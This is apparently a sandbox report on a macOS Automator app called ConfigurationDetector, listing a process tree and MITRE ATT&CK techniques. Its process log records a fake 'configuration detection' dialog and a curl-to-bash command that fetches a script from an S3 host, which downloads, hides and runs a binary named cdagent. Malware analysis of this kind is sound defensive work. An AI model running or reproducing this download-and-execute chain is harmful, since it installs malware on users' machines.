    - - /Applications/Safari.app/Contents/MacOS/Safari
        
        /Applications/Safari.app/Contents/MacOS/Safari
        5⤵
        
        PID:727
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.Safari.History
        5⤵
        
        PID:728
    - - /System/Library/PrivateFrameworks/SafariShared.framework/Versions/A/XPCServices/com.apple.Safari.History.xpc/Contents/MacOS/com.apple.Safari.History
        
        /System/Library/PrivateFrameworks/SafariShared.framework/Versions/A/XPCServices/com.apple.Safari.History.xpc/Contents/MacOS/com.apple.Safari.History
        5⤵
        
        PID:728
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.WebKit.WebContent.5415D767-E622-400D-90FD-2F9865416A19 727
        5⤵
        
        PID:729
    - - /System/Library/Frameworks/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent
        
        /System/Library/Frameworks/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent
        5⤵
        
        PID:729
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.WebKit.WebContent.00CECC81-1061-478B-A4E0-C15DE10850BB 727
        5⤵
        
        PID:733
    - - /System/Library/Frameworks/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent
        
        /System/Library/Frameworks/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent
        5⤵
        
        PID:733
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=26"
        5⤵
        
        PID:734
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.Safari.SearchHelper 727
        5⤵
        
        PID:735
    - - /System/Library/PrivateFrameworks/SafariShared.framework/Versions/A/XPCServices/com.apple.Safari.SearchHelper.xpc/Contents/MacOS/com.apple.Safari.SearchHelper
        
        /System/Library/PrivateFrameworks/SafariShared.framework/Versions/A/XPCServices/com.apple.Safari.SearchHelper.xpc/Contents/MacOS/com.apple.Safari.SearchHelper
        5⤵
        
        PID:735
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.Safari.SafeBrowsing.Service
        5⤵
        
        PID:736
    - - /System/Library/PrivateFrameworks/SafariSafeBrowsing.framework/com.apple.Safari.SafeBrowsing.Service
        
        /System/Library/PrivateFrameworks/SafariSafeBrowsing.framework/com.apple.Safari.SafeBrowsing.Service
        5⤵
        
        PID:736
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.WebKit.WebContent.D82EF1EE-E252-46C0-A7A8-3BCEE75D7726 727
        5⤵
        
        PID:737
    - - /System/Library/Frameworks/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent
        
        /System/Library/Frameworks/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent
        5⤵
        
        PID:737
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.mobile.keybagd
        5⤵
        
        PID:738
    - - /usr/libexec/keybagd
        
        /usr/libexec/keybagd -t 15
        5⤵
        
        PID:738
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=27"
        5⤵
        
        PID:739
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=27"
        5⤵
        
        PID:741
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.corespotlightservice.725FD30A-6064-6C02-CC51-5DDB8891B57E
        5⤵
        
        PID:743
    - - /System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
        
        /System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
        5⤵
        
        PID:743
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.Terminal.2100
        5⤵
        
        PID:747
    - - /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
        
        /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
        5⤵
        
        PID:747
      - /usr/bin/login
        
        login -pf run
        6⤵
        
        PID:748
        
        /bin/zsh
        
        -zsh
        7⤵
        
        PID:750
        
        /usr/libexec/path_helper
        
        /usr/libexec/path_helper -s
        8⤵
        
        PID:751
        
        /usr/bin/locale
        
        locale LC_CTYPE
        8⤵
        
        PID:752
        
        /sbin/md5
        
        md5 /Users/run/ConfigurationDetector/ConfigurationDetector.app
        8⤵
        
        PID:755
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.AccountPolicyHelper
        5⤵
        
        PID:749
    - - /System/Library/PrivateFrameworks/AccountPolicy.framework/XPCServices/com.apple.AccountPolicyHelper.xpc/Contents/MacOS/com.apple.AccountPolicyHelper
        
        /System/Library/PrivateFrameworks/AccountPolicy.framework/XPCServices/com.apple.AccountPolicyHelper.xpc/Contents/MacOS/com.apple.AccountPolicyHelper
        5⤵
        
        PID:749
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.PerformanceAnalysis.animationperfd
        5⤵
        
        PID:753
    - - /System/Library/PrivateFrameworks/PerformanceAnalysis.framework/Versions/A/XPCServices/com.apple.PerformanceAnalysis.animationperfd.xpc/Contents/MacOS/com.apple.PerformanceAnalysis.animationperfd
        
        /System/Library/PrivateFrameworks/PerformanceAnalysis.framework/Versions/A/XPCServices/com.apple.PerformanceAnalysis.animationperfd.xpc/Contents/MacOS/com.apple.PerformanceAnalysis.animationperfd
        5⤵
        
        PID:753
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.DictionaryServiceHelper
        5⤵
        
        PID:754
    - - /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/DictionaryServices.framework/Versions/A/XPCServices/com.apple.DictionaryServiceHelper.xpc/Contents/MacOS/com.apple.DictionaryServiceHelper
        
        /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/DictionaryServices.framework/Versions/A/XPCServices/com.apple.DictionaryServiceHelper.xpc/Contents/MacOS/com.apple.DictionaryServiceHelper
        5⤵
        
        PID:754
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.appkit.xpc.openAndSavePanelService 280
        5⤵
        
        PID:756
    - - /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/com.apple.appkit.xpc.openAndSavePanelService.xpc/Contents/MacOS/com.apple.appkit.xpc.openAndSavePanelService
        
        /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/com.apple.appkit.xpc.openAndSavePanelService.xpc/Contents/MacOS/com.apple.appkit.xpc.openAndSavePanelService
        5⤵
        
        PID:756
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.quicklook.QuickLookUIService 756
        5⤵
        
        PID:757
    - - /System/Library/Frameworks/Quartz.framework/Versions/A/Frameworks/QuickLookUI.framework/Versions/A/XPCServices/QuickLookUIService.xpc/Contents/MacOS/QuickLookUIService
        
        /System/Library/Frameworks/Quartz.framework/Versions/A/Frameworks/QuickLookUI.framework/Versions/A/XPCServices/QuickLookUIService.xpc/Contents/MacOS/QuickLookUIService
        5⤵
        
        PID:757
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.ReportCrash.Root
        5⤵
        
        PID:759
    - - /System/Library/CoreServices/ReportCrash
        
        /System/Library/CoreServices/ReportCrash daemon
        5⤵
        
        PID:759
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.ReportMemoryException
        5⤵
        
        PID:761
    - - /usr/libexec/ReportMemoryException
        
        /usr/libexec/ReportMemoryException
        5⤵
        
        PID:761
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.quicklook
        5⤵
        
        PID:764
    - - /System/Library/Frameworks/QuickLook.framework/Resources/quicklookd.app/Contents/MacOS/quicklookd
        
        /System/Library/Frameworks/QuickLook.framework/Resources/quicklookd.app/Contents/MacOS/quicklookd
        5⤵
        
        PID:764
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.quicklook.satellite.78DBA66F-8D58-4676-81DC-F592C21CAFAE 764
        5⤵
        
        PID:765
    - - /System/Library/Frameworks/QuickLook.framework/Versions/A/XPCServices/QuickLookSatellite.xpc/Contents/MacOS/QuickLookSatellite
        
        /System/Library/Frameworks/QuickLook.framework/Versions/A/XPCServices/QuickLookSatellite.xpc/Contents/MacOS/QuickLookSatellite
        5⤵
        
        PID:765
    - - /bin/sh
        
        sh -c /usr/sbin/kextstat
        5⤵
        
        PID:766
    - - /bin/bash
        
        sh -c /usr/sbin/kextstat
        5⤵
        
        PID:766
    - - /usr/sbin/kextstat
        
        /usr/sbin/kextstat
        5⤵
        
        PID:766
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.TextEdit.2092
        5⤵
        
        PID:767
    - - /System/Applications/TextEdit.app/Contents/MacOS/TextEdit
        
        /System/Applications/TextEdit.app/Contents/MacOS/TextEdit
        5⤵
        
        PID:767
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.automator.ConfigurationDetector.3128
        5⤵
        
        PID:771
    - - /Users/run/ConfigurationDetector/ConfigurationDetector.app/Contents/MacOS/Automator Application Stub
        
        "/Users/run/ConfigurationDetector/ConfigurationDetector.app/Contents/MacOS/Automator Application Stub"
        5⤵
        
        PID:771
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.xpc.launchd.oneshot.0x10000002.ScriptMonitor
        5⤵
        
        PID:772
    - - /System/Library/CoreServices/ScriptMonitor.app/Contents/MacOS/ScriptMonitor
        
        /System/Library/CoreServices/ScriptMonitor.app/Contents/MacOS/ScriptMonitor -psn_0_249917
        5⤵
        
        PID:772
    - - /bin/bash
        
        /bin/bash -c "osascript -e 'display dialog \"Configuration detection in progress, please wait\" buttons {\"Confirm\"} giving up after 5' curl -A O -k -o- -L https://shein-d1d60aa1-575e-4a6b-8d15-78c75c7c914a.s3.us-west-2.amazonaws.com/macos/3c7d6/intro | bash -s osascript -e 'display dialog \"Configuration detection completed\" buttons {\"Confirm\"} default button \"Confirm\" with icon note' " -
        5⤵
        
        PID:773
      - /usr/bin/osascript
        
        osascript -e "display dialog \"Configuration detection in progress, please wait\" buttons {\"Confirm\"} giving up after 5"
        6⤵
        
        PID:774
      - /usr/bin/curl
        
        curl -A O -k -o- -L https://shein-d1d60aa1-575e-4a6b-8d15-78c75c7c914a.s3.us-west-2.amazonaws.com/macos/3c7d6/intro
        6⤵
        
        PID:775
      - /bin/bash
        
        bash -s
        6⤵
        
        PID:776
        
        /bin/mkdir
        
        mkdir /tmp/.efLgX
        7⤵
        
        PID:777
        
        /bin/rm
        
        rm -f /tmp/.efLgX/cdagent
        7⤵
        
        PID:778
        
        /usr/bin/curl
        
        curl -A O -k -L https://shein-d1d60aa1-575e-4a6b-8d15-78c75c7c914a.s3.us-west-2.amazonaws.com/macos/3c7d6/cdagent -o /tmp/.efLgX/cdagent
        7⤵
        
        PID:779
        
        /bin/chmod
        
        chmod 755 /tmp/.efLgX/cdagent
        7⤵
        
        PID:780
        
        /tmp/.efLgX/cdagent
        
        /tmp/.efLgX/cdagent
        7⤵
        
        PID:781
    - - /usr/bin/osascript
        
        osascript -e "display dialog \"Configuration detection completed\" buttons {\"Confirm\"} default button \"Confirm\" with icon note"
        5⤵
        
        PID:773
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.ReportMemoryException
        5⤵
        
        PID:782
    - - /usr/libexec/ReportMemoryException
        
        /usr/libexec/ReportMemoryException
        5⤵
        
        PID:782
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.quicklook.ui.helper
        5⤵
        
        PID:783
    - - /System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
        
        /System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
        5⤵
        
        PID:783
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.quicklook
        5⤵
        
        PID:785
    - - /System/Library/Frameworks/QuickLook.framework/Resources/quicklookd.app/Contents/MacOS/quicklookd
        
        /System/Library/Frameworks/QuickLook.framework/Resources/quicklookd.app/Contents/MacOS/quicklookd
        5⤵
        
        PID:785
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.quicklook.satellite.9633FCE5-F48F-44DF-ABE7-2F18991FE77C 785
        5⤵
        
        PID:786
    - - /System/Library/Frameworks/QuickLook.framework/Versions/A/XPCServices/QuickLookSatellite.xpc/Contents/MacOS/QuickLookSatellite
        
        /System/Library/Frameworks/QuickLook.framework/Versions/A/XPCServices/QuickLookSatellite.xpc/Contents/MacOS/QuickLookSatellite
        5⤵
        
        PID:786
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.adid
        5⤵
        
        PID:790
    - - /System/Library/PrivateFrameworks/CoreADI.framework/adid
        
        /System/Library/PrivateFrameworks/CoreADI.framework/adid
        5⤵
        
        PID:790
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.quicklook.ui.helper
        5⤵
        
        PID:791
    - - /System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
        
        /System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
        5⤵
        
        PID:791
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.quicklook
        5⤵
        
        PID:794
    - - /System/Library/Frameworks/QuickLook.framework/Resources/quicklookd.app/Contents/MacOS/quicklookd
        
        /System/Library/Frameworks/QuickLook.framework/Resources/quicklookd.app/Contents/MacOS/quicklookd
        5⤵
        
        PID:794
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.quicklook.satellite.638A59F8-4A81-4BAD-A08C-C5CEC26ADC9D 794
        5⤵
        
        PID:795
    - - /System/Library/Frameworks/QuickLook.framework/Versions/A/XPCServices/QuickLookSatellite.xpc/Contents/MacOS/QuickLookSatellite
        
        /System/Library/Frameworks/QuickLook.framework/Versions/A/XPCServices/QuickLookSatellite.xpc/Contents/MacOS/QuickLookSatellite
        5⤵
        
        PID:795

/usr/bin/defaults
defaults read "/Volumes/Google Chrome/Google Chrome.app/Contents/Info" CFBundleShortVersionString
1⤵
PID:637

/usr/bin/defaults
defaults read "/Volumes/Google Chrome/Google Chrome.app/Contents/Info" KSVersion
1⤵
PID:639

/usr/bin/defaults
defaults read "/Volumes/Google Chrome/Google Chrome.app/Contents/Info" KSProductID
1⤵
PID:641

/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin
ksadmin --ksadmin-version
1⤵
PID:644

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" CFBundleShortVersionString
1⤵
PID:647

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" KSBrandID
1⤵
PID:649

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" CFBundleShortVersionString
1⤵
PID:672

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" KSVersion
1⤵
PID:674

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" KSUpdateURL
1⤵
PID:676

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" KSChannelID
1⤵
PID:678

/usr/bin/defaults
defaults read "/Applications/Google Chrome.app/Contents/Info" CrProductDirName
1⤵
PID:680

/usr/bin/defaults
defaults read "/Library/Google/Google Chrome Brand" KSBrandID
1⤵
PID:683

/bin/ps
ps -ewwo "comm="
1⤵
PID:695

/usr/bin/cut
cut -c 1-108
1⤵
PID:696

/usr/bin/grep
grep -Fqx "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/95.0.4638.69/"
1⤵
PID:697

/usr/sbin/lsof
lsof "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/95.0.4638.69/Google Chrome Framework"
1⤵
PID:699

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

AppleScript

T1059.002

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hide Artifacts

T1564

Resource Forking

T1564.009

Indicator Removal

T1070

File Deletion

T1070.004

Subvert Trust Controls

T1553

Gatekeeper Bypass

T1553.001

Credential Access

Discovery

File and Directory Discovery

T1083

Lateral Movement

Collection

Command and Control

Exfiltration

Exfiltration Over Alternative Protocol

T1048